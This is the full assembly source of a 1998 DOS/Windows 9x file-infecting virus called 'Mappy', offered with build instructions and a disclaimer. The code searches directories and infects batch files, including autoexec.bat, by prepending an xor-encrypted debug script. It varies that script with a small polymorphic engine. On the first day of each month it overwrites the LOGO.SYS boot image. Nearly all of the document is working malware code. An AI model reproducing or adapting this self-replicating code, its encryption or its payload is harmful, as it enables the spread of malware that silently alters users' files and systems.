; **************************************************************************** ; * ; * Virus: Mappy ; * Author: Blacksmith Tony ; * Created: October 98 ; * Infects: *.BAT using debug ; * Type: Run-time prepending with directory traversal ; * Size: about 5000 bytes for the batch files ; * Encryted: 8-bit xor ; * Poly: Small built in engine changes the debug script ; * Payload: Yes (Activation date- first of the month) ; * Payload: check for a Win9x OS, then attempts to either ; * modify or create a new logo.sys file by adding a picture. ; * ; * Description: ; * The interesting "trick" to this virus is how it executes. It ; * prepends itself to a host so it is executed first. It then looks like: ; * @goto BVOne ; BV acronym: Batch Virus ; * e 100 ; * 18 13 46 A8 .... ; * g ; * q ; * :BVOne ; * @set mappy=%0 ; * @if $%mappy%==$ set mappy=autoexec.bat ; * @if not exist %mappy% set mappy=%mappy%.bat ; * @debug <%mappy%>nul ; * ; * ; * When run, it skips over the debug script and sets the mappy variable ; * to the %0 parameter (the command used to run the batch file). If the ; * mappy variable is blank, that means the computer is just booting, and ; * that autoexec.bat is being run. If the .bat was left off, then add it. ; * It then feeds the resulting file name into debug piping output to nul. ; * Debug then does: ; * -@goto BVOne ; * ^error ; * -e 100 ; * ... ; * -g ; * Program terminated normally ; * -q ; * ; * The asm code does a few things: ; * First it check for the time for the payload. If it is, it adds mappy ; * the logo.sys file and ends program. (IF YOU WANT TO KEEP YOUR OLD LOGO FILE ; * THEN MAKE A BACKUP [if you don't have a logo.sys file (it's hidden in your ; * root dir) then just erase the new logo.sys to return to normal]). ; * Otherwise, it goes to the root directory and starts looking at all ; * files and directories. When it reaches a .bat file it tries to infect it. ; * If infection is successful, it restores the diretory and ends program else ; * it just continues looking for files and dirs. When it comes to a dir, ; * it counts it (as long as it's not "." or ".."). ; * If no suitable files are found in the directory, the number of dirs ; * branching from it are checked. If the number is greater than rezo, then ; * the directory is changed to one of those (random), and the process is ; * repeated. Otherwise the virus ends in failure. ; * ; * To assemble: ; * Assemble to a com file with your favourite assembler ; * ; * Disclaimer: ; * The author is not responsible for anything you chose to do with ; * this virus or for any results there of. ; * ; * Greets to: ; * Spooky- Thanks for the help ; * CB- Great mag, keep up the good work ; * Cyclone- Thanks for being my annonymous remailer and for the help ; * Anybody else that I may have missed. ; * ; **************************************************************************** TRUE equ 1 FALSE equ 0 HalfBMPSize equ 43026 - (BMPHeaderEnd-BMPHeader)/3 ; 129078/3=43026 PicPosition equ 31634 PicWidth equ 49 infofs equ 7 ; Infection marker offset (NO TOUCH!) infmarker equ 'V' ; Infection marker Activation equ 1 ; day of each month of payload heapsize equ 40 ; Space for decryptor routine debug equ FALSE ; Print infected files with directories ; (the com file only) assume cs:main,ds:main,ss:main main segment ofszero: org 100h teststart: jmp short firstfixup ; decryptor init routine goes here org 10Bh firstfixup: mov ah,47h ; Save current directory mov dl,0 lea si,origdir int 21h mov ah,3Bh ; Goto root directory lea dx,rootdir int 21h mov ax,3306h ; Skip Payload test if not win9x int 21h cmp bl,7 jb MainLoop mov ah,2Ah ; Is it time for the payload? int 21h ; Get system date cmp dl,Activation ; Is the day the activation day? je mappylogo MainLoop: mov ah,4Eh ; Look for directories mov cx,0016h lea dx,anydir int 21h jc EndProg xor cx,cx Numloop: ; Count number of directories (cx) call isdir jz noinc1 inc cx noinc1: mov ah,4Fh int 21h jnc Numloop or cx,cx jz EndProg cwd ; ax=0012h (top bit clear) in al,40h ; Get a "random" number div cx ; divide to get new path push dx mov ah,4Eh ; Go to the remainder-th # dir mov cx,0016h lea dx,anydir int 21h pop cx inc cx jmp short indirloop dirloop: mov ah,4Fh int 21h indirloop: call isdir2 jz dirloop loop dirloop dirfound: mov ah,3Bh ; Switch to that directory mov dx,009Eh int 21h ;*** if debug mov cx,20 ; Print out the directory name mov di,9Eh ; (works in 1st gen only) push di mov al,0 repne scasb mov byte ptr [di],'$' mov ah,9 pop dx int 21h endif ;*** jmp short mainloop ; Repeat process Endprog: mov ah,3Bh ; Restore directory lea dx,origdir-1 mov byte ptr ds:[origdir-1],'\' int 21h int 20h ; End Program ;********************PAYLOAD************************* mappylogo: xor cx,cx ; Clear attributes on logo.sys lea dx,filename ; ignore filenotfound error call attrib2 ; for now mov ax,3d02h ; Open file for write int 21h jnc logofound mov ah,3Ch ; File not found-create new xor cx,cx int 21h jc EndProg xchg ax,bx mov ah,40h ; write out header+2 cols mov cx,BMPHeaderEnd-BMPHeader lea dx,BMPHeader int 21h mov ax,6262h mov cx,(HalfBMPSize+1)/2 lea di,heap mov dx,di rep stosw mov ah,40h ; write out picture in 3 writes push ax mov cx,HalfBMPSize int 21h pop ax push ax int 21h pop ax int 21h mov ah,3Eh int 21h jmp short mappylogo doneexec: jmp short EndProg logofound: xchg bx,ax mov ah,3Fh ; read in old data mov cx,45000 ; 45000 bytes gets all we're lea dx,heap ; interested in. push dx int 21h push ax ; bytes read in push bx xor ax,ax lea si,Picdata lea di,heap+PicPosition cmp byte ptr ds:[di+18h], 62h ; OK to change? jne doneexec Picloop2: ; Decompress and Draw Mappy xor bx,bx Picloop1: mov cx,1 call GetNibble test al,8 jnz PicNoRLE xchg ax,cx call GetNibble add al,3 xchg ax,cx PicNoRLE: add bx,cx and al,7 cmp al,2 jb picready dec ax dec ax jz picblank add al,229 jmp short picready picblank: add di,cx jmp short plotdone picready: rep stosb plotdone: cmp bx,PicWidth jb Picloop1 add di,(320-PicWidth) cmp si,offset EndPic-1 jb PicLoop2 mov cx,Picdata-DAC ; Modify Color pallete lea si,DAC lea di,heap+3CEh rep movsb pop bx ; Goto start of file mov ax,4200h cwd int 21h mov ah,40h ; Write out changes pop cx pop dx int 21h mov ah,3eh int 21h jmp short doneexec ;**************************Procs************************* Isdir2: test byte ptr ds:[95h],10h jz Nodir Isdir: ; NoDir = ZR set, Dir = NZ test byte ptr ds:[95h],10h jz isbatfile cmp byte ptr ds:[9Eh],'.' Nodir: ret Nothingfound: pop cx xor ax,ax ret isbatfile: push cx mov di,9Eh mov cl,10 mov al,'.' repne scasb cmp [di],'AB' jne nothingfound cmp [di+2],byte ptr 'T' jne nothingfound ;**** if debug mov byte ptr [di+4],'$' mov ah,9 mov dx,9Eh int 21h endif ;**** ; *** It is a batch file - attempt to infect ****************** xor cx,cx ; Clear file attributes call attrib mov ax,3d02h ; Open file (ds:dx still rigth) int 21h jc nothingfound ; Error xchg ax,bx mov ah,3Fh ; Read in file mov cx, word ptr ds:[9Ah] ; file size cmp cx, -(offset oldbatfile)+65000 ; File too big? ja nothingfound lea dx,oldbatfile int 21h cmp byte ptr [offset oldbatfile+infofs],infmarker je nothingfound ; Check infection mov ax,4200h ; goto begin of file xor cx,cx xor dx,dx int 21h in al,40h ; Polystuff mov byte ptr cryptval,al in al,40h push bx call proc1 mov bp,di pop bx mov ah,40h ; Write out first part mov cx,newbat2-newbat1 lea dx,newbat1 int 21h lea di,virhex mov cx,firstfixup-teststart lea si,teststart initloop: lodsb call makehexbyte loop initloop mov cx,secondproc-firstfixup virloop: lodsb xor al,byte ptr cryptval call makehexbyte loop virloop decryptloop: lodsb call makehexbyte cmp si,bp jb decryptloop mov ah,40h ; write debug data lea cx,[di-(virhex-ofszero)-1] lea dx,virhex+1 int 21h mov ah,40h ; Write out second text part mov cx,battextend-newbat2 lea dx,newbat2 int 21h mov ah,40h ; write out host bat mov cx, word ptr ds:[9Ah] lea dx,oldbatfile int 21h call closefile jmp Endprog closefile: mov ax,5701h ; Restore time mov cx,ds:[96h] mov dx,ds:[98h] int 21h mov ah,3Eh ; close file int 21h mov ch,0h mov cl,ds:[95h] ; restore attributes call attrib ret attrib: mov dx,9Eh attrib2: mov ax,4301h int 21h ret GetNibble: dec byte ptr flag jz lowerhalf mov al,byte ptr [si] push cx mov cl,4 shr ax,cl pop cx ret lowerhalf: mov byte ptr flag,2 lodsb and al,0Fh ret flag db 2 filename: db 'LOGO.SYS',0 BMPHeader: db 'BM' ; sig dd 0001F836h ; file size dd 0 ; reserved dd 00000436h ; ofs of bitmap in file dd 00000028h ; length of bitmap info header dd 320 ; width dd 400 ; height dw 1 ; number of planes dw 8 ; Bits per Pixel dd 0 ; Compression type (no compression) dd 0 ; Size of pictuer in bytes (0?!?) dd 000000E6h ; Horizontal resolution dd 00000006h ; Vertical resolution dd 0 ; Number of colors used dd 000000ECh ; Number of important colors (#col not rotated) db 0, 0, 0, 0 ; Col 1 (Black)- B,G,R cols + filler db 255, 255, 255 ; Col 2 (White) BMPHeaderEnd equ $+2 ;********************************************************** ;Note: The Default Windows 95 logo.sys file has a few ; interesting properties. By far the most useful is: ; It has a 6 unused colors at 230-235 ;********************************************************** DAC: ; The colors for the picture (B,G,R,filler) db 43,96,194,0 db 72,103,171,0 db 150,175,225,0 db 175,206,224,0 db 35,87,167 ;********************************************************** ; Picture format: ; read in nibble at a time. ; if nibble >= 8 {value} ; then color value= nibble-8 ; else {run length encoding} ; color= nibble ; lengthofrun= NextNibble+3 ; where: ; col 0= black ; col 1= white ; col 2= transparent ; col 3+= colors defined in DAC ; ; Example: ; the string 9B 14 decompresses into ; col 1 (9-8) ; col 3 (B-8) ; a run of 7 (4+3) col 1. ; ie. 1,2,1,1,1,1,1,1,1 ; ;********************************************************** Picdata: db 47, 35, 0, 47, 33, 37, 4, 238, 4, 251, 178, 242, 18, 32, 12, 255 db 134, 144, 50, 250, 33, 4, 109, 2, 170, 130, 178, 38, 246, 79, 140, 200 db 43, 33, 134, 246, 79, 136, 248, 43, 32, 139, 111, 100, 192, 2, 194, 8 db 253, 111, 99, 248, 143, 130, 186, 136, 207, 104, 214, 120, 139, 251, 252, 130 db 186, 171, 207, 111, 100, 251, 200, 130, 186, 167, 11, 111, 96, 184, 192, 34 db 184, 248, 112, 182, 109, 104, 223, 251, 207, 130, 186, 160, 31, 182, 5, 14 db 248, 96, 208, 14, 237, 207, 251, 191, 248, 43, 32, 143, 49, 200, 233, 235 db 203, 188, 136, 158, 232, 143, 143, 187, 248, 248, 43, 32, 131, 28, 136, 158 db 159, 187, 252, 136, 238, 144, 15, 136, 255, 143, 242, 186, 136, 248, 143, 176 db 9, 238, 139, 252, 248, 134, 9, 136, 255, 188, 136, 184, 43, 33, 131, 0 db 9, 238, 139, 255, 200, 137, 238, 152, 135, 3, 24, 43, 33, 139, 251, 137 db 152, 232, 139, 252, 241, 16, 31, 251, 183, 8, 242, 162, 43, 251, 254, 224 db 27, 112, 158, 3, 255, 191, 251, 248, 242, 162, 47, 187, 200, 157, 0, 191 db 252, 158, 3, 251, 248, 255, 0, 42, 34, 48, 200, 153, 0, 183, 13, 156 db 1, 207, 251, 140, 207, 168, 130, 146, 43, 251, 248, 158, 232, 188, 251, 200 db 233, 176, 11, 243, 31, 32, 178, 16, 58, 162, 47, 251, 252, 142, 152, 191 db 251, 255, 137, 152, 135, 11, 251, 248, 32, 255, 170, 139, 191, 176, 10, 35 db 139, 191, 142, 232, 191, 48, 248, 233, 136, 195, 8, 191, 130, 0, 10, 48 db 251, 240, 2, 76, 252, 192, 15, 243, 15, 240, 12, 191, 184, 143, 130, 40 db 251, 191, 49, 248, 130, 72, 187, 240, 11, 251, 251, 252, 0, 183, 8, 203 db 130, 56, 243, 63, 138, 35, 143, 187, 251, 191, 243, 31, 53, 255, 194, 83 db 72, 170, 34, 143, 248, 140, 243, 159, 204, 252, 194, 115, 40, 138, 162, 44 db 188, 219, 140, 57, 66, 136, 38, 131, 40, 138, 34, 64, 222, 216, 203, 191 db 52, 112, 142, 0, 39, 139, 191, 252, 138, 34, 0, 80, 132, 47, 248, 135 db 14, 237, 208, 2, 184, 32, 34, 0, 237, 232, 252, 0, 113, 207, 203, 237 db 224, 2, 242, 32, 14, 221, 143, 248, 143, 207, 252, 143, 200, 237, 224, 2 db 242, 32, 63, 204, 32, 0, 160, 46, 1, 47, 34, 6, 36, 7, 47, 35 db 5, 37, 5, 47, 162, 64, 50, 112, 66, 250, 37, 0, 42, 1, 47, 32 EndPic: anydir db '*.*',0 rootdir db '\',0 newbat1: db '@goto B',infmarker,'One',13,10 db 'e 100',13,10 newbat2: db 13,10,'g',13,10,'q',13,10 db ':B',infmarker,'One',13,10 db '@set mappy=%0',13,10 db '@if $%mappy%==$ set mappy=autoexec.bat',13,10 ; autoexec is a db '@if not exist %mappy% set mappy=%mappy%.bat',13,10 ; special case db '@debug <%mappy%>nul',13,10 battextend: hexinfo: db '0123456789ABCDEF' makehexbyte: push bx push cx push ax mov al,' ' stosb pop ax mov cl,4 push ax lea bx,hexinfo shr al,cl jz NoLeadZero xlatb stosb NoLeadZero: pop ax and al,0Fh xlatb stosb pop cx pop bx ret ;******************************************************************* ; Small poly engine ;******************************************************************* stbl dw offset movcxproc dw offset movbxproc dw offset movalproc stbl2 dw offset movcxproc2 dw offset doproc2precall brtable dw 0307h ; bx dw 0604h ; si dw 0705h ; di ;************** Procs *************** movcxproc2: or bl,bl js movcxproc mov ax,0C181h stosw jmp short movcxentry2 movcxproc: ; mov (count reg[cx]), virsize mov al,0B9h stosb movcxentry2: mov ax,secondproc-firstfixup stosw ret movbxproc: ; mov (address reg), decrypt start addr mov al,0B8h or al,dh stosb mov ax,offset firstfixup stosw ret movalproc: db 0B8h, 0B0h ; mov al, decrypter value cryptval: db 0AAh stosw ret doproc2call: ; call decryptor routine mov al, 0E8h doproc2call2: stosb mov ax,offset secondproc - 2 sub ax,di stosw retn doproc2precall: ; Call & jump for temp decyptor test bl,40h jz doproc2precall2 call doproc2call ; The call mov ax,offset firstfixup-2 ; the jump sub ax,di xchg ah,al mov al,0EBh stosw doproc2precall3: mov di,offset secondproc ; Temporary Decryption Routine retn doproc2precall2: mov al,0E9h call doproc2call2 jmp short doproc2precall3 fliptablecall: jnz doneflip mov ax,[si] xchg ax,[si+2] mov [si],ax doneflip: retn ;************************************ TempDecryptor: ; Can't use lowest 4-bits of rand # xchg bx,ax ; Random Number in bl mov di,offset teststart ; Stub prog mov si,offset stbl2 ; Flip stbl2 around test bl,20h call fliptablecall call stbl2 ; mov cx,length call stbl2+2 ; Call decrytor push di ; Save label to xor mov ax, 3680h ; xor [var1],#2 stosw push di ; Save location for inc/dec mov al,byte ptr cryptval mov byte ptr [di+2],al ; #2= Decrypt value + cs:(next inst) test bl,10h jz doxor2 mov word ptr [di],offset firstfixup ; var1= offset to decrypt add di,3 mov ax,06FFh ; inc var1 jmp short doxordone doxor2: mov word ptr [di],offset secondproc-1; var1= offset to decrypt add di,3 mov ax, 0EFFh ; dec var1 doxordone: stosw pop ax ; ax= old di (addr in xor) jmp short incbxdone2 ;************************************ proc1: mov si,0006 ; si = index and si,ax jz TempDecryptor mov bx,offset brtable-2 mov dx,[bx+si] mov bl,al ; Random # in bl mov di,offset teststart ; di = spot to write code mov si,offset stbl test bl,20h call fliptablecall inc si inc si test bl,40h call fliptablecall ;mov cx,# Mov cx, decryptsize call stbl ;mov bx,# call stbl+2 ;mov al,# call stbl+4 ;call crypt call doproc2call lea di,secondproc ;Proc2: ;cs: push di ; Save label ;xor [bx],al mov al,30h mov ah,dl stosw ;inc bx xchg ax,dx ; change to mov to save dx test bl,10h jnz incbx3 or bl,bl js incbx2 xchg al,ah or al,40h jmp short incbxdone1 ; inc reg incbx2: mov al,0FFh or ah,0C0h incbxdone2: stosw ; long inc reg jmp short incbxdone0 incbx3: mov al,83h or bl,bl js incbx4 mov byte ptr [di],0F9h ; stc inc di or ah,0D0h stosw ; adc reg,0 mov al,0 jmp short incbxdone1 incbx4: or ah,0C0h stosw ; add reg,1 mov al,1 incbxdone1: stosb incbxdone0: ;loop above From here down - uses 0000 1001 pop ax ; Get xor label [old di] sub ax,di dec ax dec ax xchg ah,al test bl,1 jnz doloop2 mov al,49h ; dec cx stosb dec ah mov al,75h ; jnz jmp short DoLoopDone DoLoop2: mov al,0E2h ; loop DoLoopDone: stosw ;ret test bl,46h jz jumpback test bl,8 jnz doret2 mov al,0C3h ; ret jmp short doretdone doret2: mov ax,0FF5Bh ; pop bx + jmp bx stosw mov al,0E3h doretdone: stosb doretdone2: retn jumpback: mov al,0E9h stosb mov ax,offset firstfixup-2 sub ax,di stosw retn secondproc: origdir equ $+heapsize virhex equ origdir+65 heap equ virhex oldbatfile equ virhex+(3*(virhex-teststart)) main ends end teststart